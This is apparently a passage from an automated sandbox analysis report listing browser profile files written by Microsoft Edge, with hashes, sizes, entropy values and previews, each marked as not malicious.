SSDEEP:	6:fHIq2P923oH+Tcwt9Eh1tIFUt8UHFGzZmw+UGGpzkwO923oH+Tcwt9Eh15LJ:vIv4Yeb9Eh16FUt8ei/+05LYeb9Eh1VJ
MD5:	9DC6A8B83297D9C7A58FDDA3AEB13BCD
SHA1:	954DF889DE3A6BF2E2AB5EACAF7A6152295A10EE
SHA-256:	611879E35A4D93653E64DD9C597364626DB0A3E220AA536D36F530EB78F70343
SHA-512:	0AB09BE260BE7F4F91743013903FB4CF8A77385D3A863A119DF5161BDE7AABABA252771890B36BA117151A4FBD1F579078639CC13776C7BB05783BDDE8F6F995
Malicious:	false
Preview:	2024/10/29-15:35:15.932 2340 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-15:35:15.939 2340 Recovering log #3.2024/10/29-15:35:15.945 2340 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1182612348902135
Encrypted:	false
SSDEEP:	6:fHIq2P923oH+Tcwt9Eh1tIFUt8UHFGzZmw+UGGpzkwO923oH+Tcwt9Eh15LJ:vIv4Yeb9Eh16FUt8ei/+05LYeb9Eh1VJ
MD5:	9DC6A8B83297D9C7A58FDDA3AEB13BCD
SHA1:	954DF889DE3A6BF2E2AB5EACAF7A6152295A10EE
SHA-256:	611879E35A4D93653E64DD9C597364626DB0A3E220AA536D36F530EB78F70343
SHA-512:	0AB09BE260BE7F4F91743013903FB4CF8A77385D3A863A119DF5161BDE7AABABA252771890B36BA117151A4FBD1F579078639CC13776C7BB05783BDDE8F6F995
Malicious:	false
Preview:	2024/10/29-15:35:15.932 2340 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/29-15:35:15.939 2340 Recovering log #3.2024/10/29-15:35:15.945 2340 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46284772343204333
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuD:TouQq3qh7z3bY2LNW9WMcUvBuD
MD5:	BBC203A257F9461543A305F6072A8F7B
SHA1:	C8B01BA51651224C4949286C0838A06542EF21E3
SHA-256:	398152097722169E55BECE72AA4A90072BE0BD72471CF6D0AF23F8CAF17CDBE3
SHA-512:	D28983D44DEE92E17B3FAE645D842FF8B49A5860AFADF8AFC5470795DF2467E3324059039DE53FC87DAA8DC892ADFAEC6962D55DBB6C6D54B880B29E6321C72D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.230309526666531
Encrypted:	false
SSDEEP:	6:j2+q2P923oH+TcwtnG2tMsIFUt8KaZmw+y1NVkwO923oH+TcwtnG2tMsLJ:j2+v4Yebn9GFUt8Ka/+qV5LYebn95J
MD5:	0D790C66162F8268AAB5079662A2BB8B
SHA1:	9E3696597254A4749D41D04D9B4AD6FC013B0175
SHA-256:	807C1C0DEA4D1D31DC55AF2B053D7042DBD15B1A3ABD66C52327F474E68A8B0E
SHA-512:	BB2EBDF69D4F9438AC3A7B0C13CF54A1F14ECB5061E2C45F21FC53893B34BD7EE457B83F386F912AA5B148AB6CE5F6EB4633CA0960BD7E12D9AB7CA1CBADDCDC
Malicious:	false
Preview:	2024/10/29-15:35:09.576 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-15:35:09.576 1d9c Recovering log #3.2024/10/29-15:35:09.577 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.230309526666531
Encrypted:	false
SSDEEP:	6:j2+q2P923oH+TcwtnG2tMsIFUt8KaZmw+y1NVkwO923oH+TcwtnG2tMsLJ:j2+v4Yebn9GFUt8Ka/+qV5LYebn95J
MD5:	0D790C66162F8268AAB5079662A2BB8B
SHA1:	9E3696597254A4749D41D04D9B4AD6FC013B0175
SHA-256:	807C1C0DEA4D1D31DC55AF2B053D7042DBD15B1A3ABD66C52327F474E68A8B0E
SHA-512:	BB2EBDF69D4F9438AC3A7B0C13CF54A1F14ECB5061E2C45F21FC53893B34BD7EE457B83F386F912AA5B148AB6CE5F6EB4633CA0960BD7E12D9AB7CA1CBADDCDC
Malicious:	false
Preview:	2024/10/29-15:35:09.576 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/29-15:35:09.576 1d9c Recovering log #3.2024/10/29-15:35:09.577 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6136943213813909
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jIppOGUmL:TO8D4jJ/6Up+G
MD5:	2DD57B5F6C3ED65F6C34993C31598162
SHA1:	BF5A8FF926EBEFB4F8C7B27CD302034BFFC02E02
SHA-256:	3EF1767A3EB5A0F0AF033CD80A832824B19533DE68E11BB0B0CC7CB807DC307C
SHA-512:	8A56ED0FA496923F49A7519AD4DCE62E7921DC7F8CD4DED253B4D41AEBC62E838F178DECD839AD8AE524AA83044F27AF22DA9F0144C90F27F1DE0E10E4DC9FF7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354160582707288
Encrypted:	false
SSDEEP:	6144:KA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:KFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	65A300C27D7B652B82D2FCD99356F67C
SHA1:	CEAB0E45FEBC4B327A4D5E356BF8245151C6406A
SHA-256:	69C594426D35567E9A060F9CD80BEFFC40B165412A085861D6B05FF0CF3C6AC4
SHA-512:	F4775AEBD1E0C8D3D6671F0CB0558A37F3B979B1AE97EB696069B2576A10D758B552074797074C4E5358F1FBCFFF3B2F5724C96AE1C7050AF6E68B62D9D90EB9
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13374704118097925..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.156178990762486
Encrypted:	false
SSDEEP:	6:f2R1923oH+Tcwtk2WwnvB2KLlldtV+q2P923oH+Tcwtk2WwnvIFUv:3YebkxwnvFLdn+v4YebkxwnQFUv
MD5:	D92DD38A7305B7128E67D80E2F30210F
SHA1:	A04B74D1E3A65F00E11946D7F89B5B76C9684ABC
SHA-256:	D21128E7CC34834E689F24AE9B1EDE1CA1EDD98D552F5123FAEFB77526A565C6
SHA-512:	052AB1D3DFCB742C72E78777CF0FE07213D1F25BB28D4334040C0506B95993195EF1151EFF2AA5C6BAFE09E1AFA9602D222F0A3D26BC21EC8CE5BC9C6F6AB8D2
Malicious:	false
Preview:	2024/10/29-15:35:15.910 230c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/29-15:35:15.959 230c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246031255949235
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R5:C1gAg1zfvR
MD5:	3577B3894B5109B972CAF67299BDD81B
SHA1:	05F35DD24DA22E89B11FB805984C233C883D6900
SHA-256:	82887EADED3F81E534C5B1D5947BC306CC239BA18A158F4E14CD2A6949EB0582
SHA-512:	6BB81C3E0D2CF44FF41612E8D6DC3D9CD1913812D7E3778058F3CC948B7D8984138B69B2EB0C5C3461939714E7E581F89722053848DC3FE87F37E5EBA2CD706D
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.14877285569319
Encrypted:	false
SSDEEP:	6:L+N+q2P923oH+Tcwt8aPrqIFUt8tMZmw+tMVkwO923oH+Tcwt8amLJ:L+N+v4YebL3FUt8i/++V5LYebQJ
MD5:	C21087179CB9D7B4977CF4E296CB73ED
SHA1:	0B8B80B1505E80AC2C6607D0F46BE46C5EBDAFF2
SHA-256:	08046B907342ACE9D075594CA5453679B4CD9D28DC4EBF5C62020E44409A7A5D
SHA-512:	129044F07728FF094A3788806A096BC45C56C4DF7F2B62E62EEA4484200FD08FAB2391C35F119B62A0384D5B4B70312A92E2FCB0FB969897C77A351EB2FD22C7
Malicious:	false
Preview:	2024/10/29-15:35:09.590 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-15:35:09.591 1d9c Recovering log #3.2024/10/29-15:35:09.591 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.14877285569319
Encrypted:	false
SSDEEP:	6:L+N+q2P923oH+Tcwt8aPrqIFUt8tMZmw+tMVkwO923oH+Tcwt8amLJ:L+N+v4YebL3FUt8i/++V5LYebQJ
MD5:	C21087179CB9D7B4977CF4E296CB73ED
SHA1:	0B8B80B1505E80AC2C6607D0F46BE46C5EBDAFF2
SHA-256:	08046B907342ACE9D075594CA5453679B4CD9D28DC4EBF5C62020E44409A7A5D
SHA-512:	129044F07728FF094A3788806A096BC45C56C4DF7F2B62E62EEA4484200FD08FAB2391C35F119B62A0384D5B4B70312A92E2FCB0FB969897C77A351EB2FD22C7
Malicious:	false
Preview:	2024/10/29-15:35:09.590 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/29-15:35:09.591 1d9c Recovering log #3.2024/10/29-15:35:09.591 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1740408386455385
Encrypted:	false
SSDEEP:	6:GYn+q2P923oH+Tcwt865IFUt8GA1ZZmw+GrVkwO923oH+Tcwt86+ULJ:dn+v4Yeb/WFUt8GoZ/+GrV5LYeb/+SJ
MD5:	BCB2EB5F9C7231D5403CFCACC4A06952
SHA1:	5145405F3F78F2756D20E0A6F7FAB9E4E9F2E080
SHA-256:	DF29FBDB355FB6AC5AB80D2E6258646D3BBFBB9F20B4F662E502C6FF0264830E
SHA-512:	65901016BEA13C759D54572C0C8A8E1EDC3B257716F077CAA5835CB386C3FA68E5706D1477085C3B1CD5DC898ED8129D6A7B520923755E815D966D60BE4967F7
Malicious:	false
Preview:	2024/10/29-15:35:09.599 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-15:35:09.600 1d9c Recovering log #3.2024/10/29-15:35:09.601 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1740408386455385
Encrypted:	false
SSDEEP:	6:GYn+q2P923oH+Tcwt865IFUt8GA1ZZmw+GrVkwO923oH+Tcwt86+ULJ:dn+v4Yeb/WFUt8GoZ/+GrV5LYeb/+SJ
MD5:	BCB2EB5F9C7231D5403CFCACC4A06952
SHA1:	5145405F3F78F2756D20E0A6F7FAB9E4E9F2E080
SHA-256:	DF29FBDB355FB6AC5AB80D2E6258646D3BBFBB9F20B4F662E502C6FF0264830E
SHA-512:	65901016BEA13C759D54572C0C8A8E1EDC3B257716F077CAA5835CB386C3FA68E5706D1477085C3B1CD5DC898ED8129D6A7B520923755E815D966D60BE4967F7
Malicious:	false
Preview:	2024/10/29-15:35:09.599 1d9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/29-15:35:09.600 1d9c Recovering log #3.2024/10/29-15:35:09.601 1d9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150024612009757
Encrypted:	false
SSDEEP:	6:fhlq2P923oH+Tcwt8NIFUt8UhwOZmw+Uhu7kwO923oH+Tcwt8+eLJ:plv4YebpFUt8K3/+KW5LYebqJ
MD5:	0134CA31256538A4B411812F8AE877F0
SHA1:	53812CD6EAA72F712D9F2A5452380AF8463BF265
SHA-256:	874CF1363F512AFF26D005CE563F223EAA46C7F9A9FB6C1A08398FB04151B6B0
SHA-512:	3F3869841F7FA87644C0E0275F131330639786D41C7280B7800175A4D96E5B495F742AF7F9ADA1C30FCED1BFBB9A1D7D294A63E7678BDB30613F1D286EDF1772
Malicious:	false
Preview:	2024/10/29-15:35:10.574 1040 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-15:35:10.575 1040 Recovering log #3.2024/10/29-15:35:10.576 1040 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.150024612009757
Encrypted:	false
SSDEEP:	6:fhlq2P923oH+Tcwt8NIFUt8UhwOZmw+Uhu7kwO923oH+Tcwt8+eLJ:plv4YebpFUt8K3/+KW5LYebqJ
MD5:	0134CA31256538A4B411812F8AE877F0
SHA1:	53812CD6EAA72F712D9F2A5452380AF8463BF265
SHA-256:	874CF1363F512AFF26D005CE563F223EAA46C7F9A9FB6C1A08398FB04151B6B0
SHA-512:	3F3869841F7FA87644C0E0275F131330639786D41C7280B7800175A4D96E5B495F742AF7F9ADA1C30FCED1BFBB9A1D7D294A63E7678BDB30613F1D286EDF1772
Malicious:	false
Preview:	2024/10/29-15:35:10.574 1040 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/29-15:35:10.575 1040 Recovering log #3.2024/10/29-15:35:10.576 1040 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
